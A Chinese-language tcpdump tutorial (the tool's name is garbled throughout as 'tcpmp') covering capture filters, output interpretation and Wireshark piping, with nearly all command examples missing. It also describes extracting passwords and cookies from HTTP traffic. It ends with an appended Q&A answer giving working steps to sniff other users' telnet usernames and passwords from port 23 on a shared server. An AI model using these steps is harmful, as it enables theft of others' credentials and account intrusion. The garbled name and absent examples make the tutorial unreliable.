tcpmp 是一款強大的網路抓包工具,它使用 libpcap 庫來抓取網路數據包,這個庫在幾乎在所有的 Linux/Unix 中都有。熟悉 tcpmp 的使用能夠幫助你分析調試網路數據,本文將通過一個個具體的示例來介紹它在不同場景下的使用方法。不管你是系統管理員,程序員,雲原生工程師還是 yaml 工程師,掌握 tcpmp 的使用都能讓你如虎添翼,升職加薪。
tcpmp 的常用參數如下:
額外再介紹幾個常用參數:
-A 表示使用 ASCII 字元串列印報文的全部數據,這樣可以使讀取更加簡單,方便使用 grep 等工具解析輸出內容。 -X 表示同時使用十六進制和 ASCII 字元串列印報文的全部數據。這兩個參數不能一起使用。例如:
後面可以跟上協議名稱來過濾特定協議的流量,以 UDP 為例,可以加上參數 udp 或 protocol 17 ,這兩個命令意思相同。
同理, tcp 與 protocol 6 意思相同。
使用過濾器 host 可以抓取特定目的地和源 IP 地址的流量。
也可以使用 src 或 dst 只抓取源或目的地:
使用 tcpmp 截取數據報文的時候,默認會列印到屏幕的默認輸出,你會看到按照順序和格式,很多的數據一行行快速閃過,根本來不及看清楚所有的內容。不過,tcpmp 提供了把截取的數據保存到文件的功能,以便後面使用其他圖形工具(比如 wireshark,Snort)來分析。
-w 選項用來把數據報文輸出到文件:
如果想實時將抓取到的數據通過管道傳遞給其他工具來處理,需要使用 -l 選項來開啟行緩沖模式(或使用 -c 選項來開啟數據包緩沖模式)。使用 -l 選項可以將輸出通過立即發送給其他命令,其他命令會立即響應。
過濾的真正強大之處在於你可以隨意組合它們,而連接它們的邏輯就是常用的 與/AND/&& 、 或/OR/|| 和 非/not/!。
關於 tcpmp 的過濾器,這里有必要單獨介紹一下。
機器上的網路報文數量異常的多,很多時候我們只關系和具體問題有關的數據報(比如訪問某個網站的數據,或者 icmp 超時的報文等等),而這些數據只佔到很小的一部分。把所有的數據截取下來,從裡面找到想要的信息無疑是一件很費時費力的工作。而 tcpmp 提供了靈活的語法可以精確地截取關心的數據報,簡化分析的工作量。這些選擇數據包的語句就是過濾器(filter)!
Host 過濾器用來過濾某個主機的數據報文。例如:
該命令會抓取所有發往主機 1.2.3.4 或者從主機 1.2.3.4 發出的流量。如果想只抓取從該主機發出的流量,可以使用下面的命令:
Network 過濾器用來過濾某個網段的數據,使用的是 CIDR[2] 模式。可以使用四元組(x.x.x.x)、三元組(x.x.x)、二元組(x.x)和一元組(x)。四元組就是指定某個主機,三元組表示子網掩碼為 255.255.255.0,二元組表示子網掩碼為 255.255.0.0,一元組表示子網掩碼為 255.0.0.0。例如,
抓取所有發往網段 192.168.1.x 或從網段 192.168.1.x 發出的流量:
抓取所有發往網段 10.x.x.x 或從網段 10.x.x.x 發出的流量:
和 Host 過濾器一樣,這里也可以指定源和目的:
也可以使用 CIDR 格式:
Proto 過濾器用來過濾某個協議的數據,關鍵字為 proto,可省略。proto 後面可以跟上協議號或協議名稱,支持 icmp, igmp, igrp, pim, ah, esp, carp, vrrp, udp和 tcp。因為通常的協議名稱是保留欄位,所以在與 proto 指令一起使用時,必須根據 shell 類型使用一個或兩個反斜杠(/)來轉義。Linux 中的 shell 需要使用兩個反斜杠來轉義,MacOS 只需要一個。
例如,抓取 icmp 協議的報文:
Port 過濾器用來過濾通過某個埠的數據報文,關鍵字為 port。例如:
截取數據只是第一步,第二步就是理解這些數據,下面就解釋一下 tcpmp 命令輸出各部分的意義。
最基本也是最重要的信息就是數據報的源地址/埠和目的地址/埠,上面的例子第一條數據報中,源地址 ip 是 192.168.1.106,源埠是 56166,目的地址是 124.192.132.54,目的埠是 80。> 符號代表數據的方向。
此外,上面的三條數據還是 tcp 協議的三次握手過程,第一條就是 SYN 報文,這個可以通過 Flags [S] 看出。下面是常見的 TCP 報文的 Flags:
下面給出一些具體的例子,每個例子都可以使用多種方法來獲得相同的輸出,你使用的方法取決於所需的輸出和網路上的流量。我們在排障時,通常只想獲取自己想要的內容,可以通過過濾器和 ASCII 輸出並結合管道與 grep、cut、awk 等工具來實現此目的。
例如,在抓取 HTTP 請求和響應數據包時,可以通過刪除標志 SYN/ACK/FIN 來過濾雜訊,但還有更簡單的方法,那就是通過管道傳遞給 grep。在達到目的的同時,我們要選擇最簡單最高效的方法。下面來看例子。
從 HTTP 請求頭中提取 HTTP 用戶代理:
通過 egrep 可以同時提取用戶代理和主機名(或其他頭文件):
抓取 HTTP GET 流量:
也可以抓取 HTTP POST 請求流量:
注意:該方法不能保證抓取到 HTTP POST 有效數據流量,因為一個 POST 請求會被分割為多個 TCP 數據包。
上述兩個表達式中的十六進制將會與 GET 和 POST 請求的 ASCII 字元串匹配。例如,tcp[((tcp[12:1] & 0xf0) >> 2):4] 首先會確定我們感興趣的位元組的位置[3](在 TCP header 之後),然後選擇我們希望匹配的 4 個位元組。
提取 HTTP 請求的主機名和路徑:
從 HTTP POST 請求中提取密碼和主機名:
提取 Set-Cookie(服務端的 Cookie)和 Cookie(客戶端的 Cookie):
查看網路上的所有 ICMP 數據包:
通過排除 echo 和 reply 類型的數據包使抓取到的數據包不包括標準的 ping 包:
可以提取電子郵件的正文和其他數據。例如,只提取電子郵件的收件人:
抓取 NTP 服務的查詢和響應
通過 SNMP 服務,滲透測試人員可以獲取大量的設備和系統信息。在這些信息中,系統信息最為關鍵,如操作系統版本、內核版本等。使用 SNMP 協議快速掃描程序 onesixtyone,可以看到目標系統的信息:
當抓取大量數據並寫入文件時,可以自動切割為多個大小相同的文件。例如,下面的命令表示每 3600 秒創建一個新文件 capture-(hour).pcap,每個文件大小不超過 200*1000000 位元組:
這些文件的命名為 capture-{1-24}.pcap,24 小時之後,之前的文件就會被覆蓋。
可以通過過濾器 ip6 來抓取 IPv6 流量,同時可以指定協議如 TCP:
從之前保存的文件中讀取 IPv6 UDP 數據報文:
在下面的例子中,你會發現抓取到的報文的源和目的一直不變,且帶有標志位 [S] 和 [R],它們與一系列看似隨機的目標埠進行匹配。當發送 SYN 之後,如果目標主機的埠沒有打開,就會返回一個 RESET。這是 Nmap 等埠掃描工具的標准做法。
本例中 Nmap NSE 測試腳本 http-enum.nse 用來檢測 HTTP 服務的合法 URL。
在執行腳本測試的主機上:
在目標主機上:
向 Google 公共 DNS 發起的出站 DNS 請求和 A 記錄響應可以通過 tcpmp 抓取到:
抓取 80 埠的 HTTP 有效數據包,排除 TCP 連接建立過程的數據包(SYN / FIN / ACK):
通常 Wireshark(或 tshark)比 tcpmp 更容易分析應用層協議。一般的做法是在遠程伺服器上先使用 tcpmp 抓取數據並寫入文件,然後再將文件拷貝到本地工作站上用 Wireshark 分析。
還有一種更高效的方法,可以通過 ssh 連接將抓取到的數據實時發送給 Wireshark 進行分析。以 MacOS 系統為例,可以通過 brew cask install wireshark 來安裝,然後通過下面的命令來分析:
例如,如果想分析 DNS 協議,可以使用下面的命令:
抓取到的數據:
找出一段時間內發包最多的 IP,或者從一堆報文中找出發包最多的 IP,可以使用下面的命令:
cut -f 1,2,3,4 -d '.' : 以 . 為分隔符,列印出每行的前四列。即 IP 地址。
sort | uniq -c : 排序並計數
sort -nr : 按照數值大小逆向排序
本例將重點放在標准純文本協議上,過濾出於用戶名和密碼相關的報文:
最後一個例子,抓取 DHCP 服務的請求和響應報文,67 為 DHCP 埠,68 為客戶機埠。
本文主要介紹了 tcpmp 的基本語法和使用方法,並通過一些示例來展示它強大的過濾功能。將 tcpmp 與 wireshark 進行組合可以發揮更強大的功效,本文也展示了如何優雅順滑地結合 tcpmp 和 wireshark。如果你想了解更多的細節,可以查看 tcpmp 的 man 手冊。
『陸』 tcpmp如何獲得telnet的用戶名,密碼,希望是有驗證過的,不要在網上搜的。具體步驟
要求:1) 你能登陸一個linux伺服器2) 你擁有運行tcpmp的許可權概述:tcpmp是linux下的一個TCP協議分析工具,可以監聽網卡上的所有數據包,telnet登錄協議的密碼傳送是是明文,不帶加密的,所以只要你比別人提前登錄機器,就有了獲得別人登錄密碼的機會。方法,很簡單。1)運行 tcpmp -w password.bin -c 500 port 232) tcpmp -v -xx -r password.bin >password.ascii3) vim password.ascii 慢慢就能看到用戶名,密碼啦簡單說明:第一步是檢測埠23的數據,而過濾掉其它數據,我們知道telnet用的正是23號埠。-w password.bin選項就是把檢測到的數據不直接送到標准輸出,而是把它存到文件里我們慢慢分析。-c 500選項則是你要監聽的數據包數量,看個人愛好了。監聽到你所設置的數據包後(比如我設置的500),tcpmp程序退出,你可以進行第二步了。第二步就是把二進制的數據分析成自己看的懂得ascii碼啦,存下來就行,因為我喜歡用vim,喜歡用emacs的,就不用定向文件了,直接就可以看。-v 是verbose的意思。 -r password.bin 表示從這個數據里讀,不用到網卡上讀數據了。 -xx 是把數據打出來,左邊是16進制,右邊是ascii碼,用過16進制編輯器的人當然不會陌生(喜歡搞密碼的人,誰沒用過呢?)。其實一個x就可以,兩個xx是把鏈路層的數據也mp出來。第三步才是重點,其實。因為要有點耐心:).因為telnet協議在發送用戶名和密碼的時候,是將用戶名和密碼拆開了一個位元組位元組的發送。比如我的用戶和密碼名是bugfly和[linux]的時候,用戶名會發送6個包,每個包的最後一個位元組是分別是b,u,g,f,l,y,windows下的telnet工具不是最後一個自己,自己看一下就知道了,肯定在同一個位置。因為在登錄的時候伺服器端會輸出一個Login:這樣的東西,你只要搜索到這個字元串,順著往下找客戶端發往伺服器端的數據,就可以找到用戶名了。然後密碼就是在Password之後,往下找,就能找到。呵呵呵呵,沒什麼事,閑著學tcpmp的時候練慣用的。希望大家不要將其用於不正當用途,本人概不負責。其實,這個區域網里的人都是互相透明的,經濟學里有一句話叫做"住在玻璃屋裡的人不會互相扔石頭",呵呵。